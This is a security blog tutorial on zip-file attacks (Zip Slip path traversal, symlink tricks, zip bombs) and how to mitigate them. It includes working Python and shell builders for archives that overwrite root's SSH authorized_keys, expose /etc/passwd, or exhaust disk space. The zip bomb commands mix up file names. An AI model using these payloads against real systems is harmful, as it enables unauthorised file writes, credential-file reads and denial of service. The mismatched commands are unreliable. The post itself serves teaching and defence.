From Compression to Compromise: Unmasking Zip File Threats

Zip files are everywhere in our daily lives, seamlessly integrated into our personal, academic, and professional environments. From Java apps to Microsoft Office documents, zip files have become an indispensable tool.

But as we know from Silicon Valley, zip files have the potential to be dangerous.

^{YouTube: Silicon Valley - The Ultimate Hack}

In this post, we'll delve into the intriguing world of zip file attacks, exploring various attacks and mitigations involving zip files. These attacks allow attackers to potentially gain unauthorised file read/write privileges—or even cause denial of service. This calls for mitigations to bolster our systems’ defences.

The discussion will primarily centre around attacks on Linux/Unix, although considerations for Windows are also included.

Zip Attacks

Zip Slip ⛸

Overview of Zip Slip

Zip Slip is a fancy name for directory traversal but applied to zip uploads. The idea is to escape a directory by visiting parent directories through ../ (or ..\ on Windows). By exploiting the lack of filename validation, Zip Slip enables us to perform arbitrary file writes.

Let's look at an example.

A typical zip file may look like this:

foo.zip
└── data1.csv
└── data2.txt
└── ...

But in a Zip Slip payload, files are prefixed with nasty double-dots (../). As an example, we'll try to overwrite SSH keys by writing to /root/.ssh/authorized_keys.

evil-slip.zip
└── placeholder.txt
└── ../../root/.ssh/authorized_keys

(Note: placeholder.txt has been included as a control variable, i.e. to show what happens normally to files.)

Most decompression applications will refuse to unpack such a zip. But vulnerable ones would gladly accept it and overwrite SSH keys on their system.

Suppose a vulnerable application unzips evil-slip.zip to /app/uploads/. The unzipped authorized_keys file would end up in /app/uploads/../../root/.ssh/authorized_keys, i.e. /root/.ssh/authorized_keys.

/
├── app/
│	└── uploads/
│	    └── placeholder.txt
└── root/
    └── .ssh/
		└── authorized_keys

^{Result of unzipping evil-slip.zip. Note that placeholder.txt resides in the unzip directory, while authorized_keys has sneaked its way into /root/.ssh/.}

DIY: Build your own Zip Slip payload!

import zipfile

with zipfile.ZipFile("evil-slip.zip", "w") as zip:
    zip.write("my-ssh-key.pub", "../../root/.ssh/authorized_keys")
    #          │                 └ filename to store on the archive
    #          └ file to compress from our local file system

$ touch ../../root/.ssh/authorized_keys
# Normally we would run `ssh-keygen` to generate a key pair...
# and use the generated public key as our authorized_keys.
# But let's assume ../.ssh/authorized_keys holds a public key.

$ zip evil-slip ../../root/.ssh/authorized_keys
  adding: ../../root/.ssh/authorized_keys (deflated 18%)
  
$ unzip -l evil-slip
Archive:  evil-slip.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      575  01-23-2024 17:53   ../../root/.ssh/authorized_keys
---------                     -------
      575                     1 file

Limitations of Zip Slip

• On Windows, you may need backslashes \ instead of forward slashes /. This ultimately depends on the unzipping application/library. Some libraries will convert between slashes.
• The app needs execute permissions on intermediate folders (to traverse across) and write permissions on the target folder. For instance, to write to foo/bar/baz/flag.txt, we need x permissions on foo/ and foo/bar/; and wx permissions on foo/bar/baz/.

Zip Symlink Attacks 🖇

Zip symlink attacks are just that: zip file attacks containing symlinks (symbolic links). There are several ways to build such a malicious zip, but let's first clarify two types of symlinks in our arsenal:

1. Symlink Files. This allows us to potentially read arbitrary files.
2. Symlink Directories. This allows us to potentially write files to arbitrary folders.

Why “potential”? Because there are other factors that may hinder such attacks: OS permissions, WAFs, etc.

Arbitrary File Read with File Symlinks

Let's start with a simple zip symlink payload. Here's a zip which contains a symlink to /etc/passwd.

evil-link-file.zip
└── passwd.txt         -> /etc/passwd

Suppose (again) a vulnerable app unzips this file at /app/uploads/. The filesystem would now resemble:

app/
└── uploads/
	└── passwd.txt     -> /etc/passwd

If we can read files in /app/uploads/, then we can read passwd.txt and by extension, /etc/passwd!¹ We can use this method to read any file on the system (subject to certain constraints to be discussed later).

This is all fine and dandy if we can read files in /app/uploads/. But... what if can't?

One solution is to find a readable directory, then deploy the symlink into that directory with Zip Slip. But let's look at another way to achieve the same result...

Arbitrary File Write with Dir Symlinks

Although Zip Slip does allow us to perform arbitrary file writes, .. patterns may be (naively) filtered or blocked. An alternative is to use directory symlinks.

Again, let's try to write a file to /root/.ssh/authorized_keys.

Instead of using one zip entry, we'll use two: a directory and a file.

evil-link-dir.zip
└── dirlink/           -> /root/.ssh/
    └── authorized_keys

These two entries are:

• dirlink: a symlink to our target directory
• dirlink/authorized_keys: the file we're trying to write

Now our zip contains a symlink directory! Let's go through what happens when this file is unzipped by a vulnerable app.

First, dirlink is decompressed and a symlink is created, pointing to /root/.ssh/. Next, the app tries to decompress dirlink/authorized_keys, which—if the app follows symlinks—gets written to /root/.ssh/.

Tada! We've just shown another way to achieve arbitrary file write.

Let's see what the filesystem looks like now.

/
├── app/
│	└── uploads/
│	    └── dirlink        -> /root/.ssh/
└── root/
    └── .ssh/
		└── authorized_keys

DIY: Build your own Zip Symlink Payload!

# evil-link-file.zip
# └── passwd.txt         -> /etc/passwd
with zipfile.ZipFile("evil-link-file.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  # This creates a file symlink named `passwd.txt` which links to `/etc/passwd`.
  info = zipfile.ZipInfo("passwd.txt")
  info.create_system = 0 # Linux => 0. Windows => 3.
  info.external_attr = (stat.S_IFLNK | 0o777) << 16 # File attributes.
  zip.writestr(info, "/etc/passwd")  # /etc/passwd is the file we want to read.

# evil-link-dir.zip
# └── dirlink/           -> /root/.ssh/
#     └── authorized_keys
with zipfile.ZipFile("evil-link-dir.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  info = zipfile.ZipInfo("dirlink")
  info.create_system = 0
  info.external_attr = (stat.S_IFLNK | 0o777) << 16
  zip.writestr(info, "/root/.ssh/")

  # Add an file from our filesystem. (Not a symlink.)
  zip.write("my-ssh-key.pub", "dirlink/authorized_keys")

# evil-link-dir.zip
# └── dirlink/           -> /some/readable/directory/
#     └── passwd.html    -> /etc/passwd
with zipfile.ZipFile("evil-link-dir-file.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  # Order matters! Write dir first, then file.
  info = zipfile.ZipInfo("dirlink")
  info.create_system = 0
  info.external_attr = (stat.S_IFLNK | 0o777) << 16
  zip.writestr(info, "/some/readable/directory/")

  info = zipfile.ZipInfo("dirlink/passwd.html")
  info.create_system = 0
  info.external_attr = (stat.S_IFLNK | 0o777) << 16
  zip.writestr(info, "/etc/passwd")

# Create our (soft) links.
ln -s /some/readable/directory/ dirlink
ln -s /etc/passwd dirlink/passwd.txt
# Zip the links. (Order matters!)
zip -y evil-link-dir-file dirlink dirlink/passwd.txt

Limitations of Zip Symlink Attacks

• Permissions on Linux.
  • To create a symlink, we need execute permissions in the source directory (where the linked file is located) and write/execute permissions in the target directory (where the symlink is created).²
  • Reading a symlink requires execute permissions in the source directory, and read permissions on the source file.
• Permissions on Windows. By default, only Administrators have the privilege to create symbolic links. This setting can be changed by editing the local group policy or by directly enabling SeCreateSymbolicLinkPrivilege.
• Although symlink attacks are cool and all, they're relatively rare (in the wild) compared to Zip Slip. Perhaps symlinks are handled with extra care.

Zip Bombs 💣

Since we're talking about attacks, let's also cover zip bombs for completeness.

Zip bombs are designed to cripple computers, systems, and virus scanners (rather than read sensitive data or escalate privileges, like Zip Slip and symlink attacks). Much like the well-memed fork bomb, a zip bomb attempts to drain system resources.

^{Some fork bomb memes. And zip bomb memes adapted from fork bomb memes. Zip bomb memes where?3}

The basic principle abuses the deflate⁴ compression format to achieve compression ratios of up to 1032:1. This means after compression, every byte of compressed data can represent up to 1032 bytes of uncompressed data.

Zip bombs approach this ratio by compressing a file with highly-repetitive patterns (e.g. all zeros) which can be counted and grouped compactly.

The well-known 42.zip bomb is only 42KB, but contains 5 layers of zips upon zips. Unzipping the first layer yields a harmless 0.6MB. But recursively uncompressed, it yields an astronomical payload of 4.5PB (petabytes, 15 zeros)!

Most decompression tools and virus scanners are wary of zip bombs, and only unzip the first (few) layers or stop after identifying a zip file.

In 2019, David Fifield introduced a better zip bomb, which abuses the structure of a .zip, toying with metadata to trick decompressors into puking ungodly amounts of data.⁵ A 42KB, compressed Fifield zip bomb yields 5.4GB of uncompressed bytes. This is just the first level of decompression! This metadata trickery is more generally known as Metadata Spoofing.

DIY: Build your own Zip Bomb!

Here's a small demo on a Linux shell:

# Create a blank file with 5GB of null bytes.
$ dd if=/dev/zero bs=20000 count=250000 >zero.txt

# Zip it.
$ zip test.zip test.txt

# Count the number of bytes.
$ wc -c zero.txt zero.zip
 5000000000 zero.txt
 4852639 zero.zip
 5004852639 total

From 5GB, we've gone down to ~4.9MB! A few of these could exhaust most virtual machines.

Zip Vulnerabilities in the Wild

Here are some notable zip vulnerabilities in the past decade:

• Multiple Zip Vulnerabilities across Flutter and Swift Packages (2023)
• Zip Symlink Vulnerability in Juce (2021)
• Zip Slip (2018) and Metadata Spoofing (2019) in Rubyzip
• Zip Slip Bonanza in Multiple Languages/Frameworks/Packages (2018 - 2019)

Keep in mind zip files come in different forms. Here are some you might be familiar with:

• .docx, .pptx, .xlsx (Microsoft Documents),
• .jar (Java Archive),
• .apk (Android App),
• .mscx (MuseScore File).

Any service processing such files has potential to be vulnerable.

Mitigations and Other Considerations

So much for the offensive side. How about the defensive aspect? What approaches can we take to secure our systems?

Let's explore a few ways to mitigate zip attacks. (Some of these can also be applied to protect against other attacks, or may just be general improvements.)

Permissions

For sysadmins.

In America, "all men are created equal". Not so in filesystems.

Reading, writing, and linking files depends on permissions. Setting appropriate permissions for the process and limiting the scope of an application can go a long way in preventing attackers from snooping secrets.

See Limitations of Zip Slip and Limitations of Zip Symlink Attacks for details on relevant permissions.

Modern Antivirus

For sysadmins and normies.

Although zip bombs have targeted antivirus (AV) systems in the past, most modern AV programs can detect zip bombs by recognising patterns and signatures.

Robust Code

For software developers building/maintaining zip applications/libraries.

Although /../ and symlinks can be used maliciously, they are technically allowed by the zip specification⁶. So... should your product implement protections against these? It depends.

• Are you developing an unzip application (for end-users) or a high-level unzip library (to be conveniently imported and used by application developers)?
  • Then yes, you should prevent the aforementioned tricks entirely.
• Are you developing a low-level unzip library, closely following the zip spec?
  • Then not necessarily, but you should play your part by using secure defaults where possible. The responsibility now falls on developers using your library to respect the defaults and assess potential risk.

if (!fileToUnzip.isAChildOf(directoryToUnzipTo))
  // Attack attempt detected: attempted write outside of unzip directory.
  return Result::fail("...");

Unit Tests

For software developers building/maintaining zip libraries.

Test cases prevent software regression and automate the menial task of manual input. For example, Juce v6.1.5 also introduced a test case against Zip Slip.

tl;dr

A quick recap:

• There are generally three streams of zip attacks:
  • Arbitrary File Write with Zip Slip
  • Arbitrary File Read/Write with Zip Symlink Attacks
  • Denial of Service with Zip Bombs and Metadata Spoofing
• Ways to counter zip attacks include:
  • (Sysadmins) Run applications with a minimum-privilege user.
  • (Regular Users, Sysadmins) Regularly update antiviruses with new signatures.
  • (Software Developers) Adopt strong software development practices, including error handling, secure defaults, and unit tests.

While zip files offer convenience and efficiency in compressing and sharing data, we shouldn't overlook the security implications they can present. Hopefully this article left the reader with some understanding of their potential risks.

Anecdotes? Stories? New zip developments? Let me know by leaving a comment. 🙂

Other References

• PentesterAcademy: From Zip Slip to System Takeover
• SecurityVault: Attacks with Zip Files and Mitigations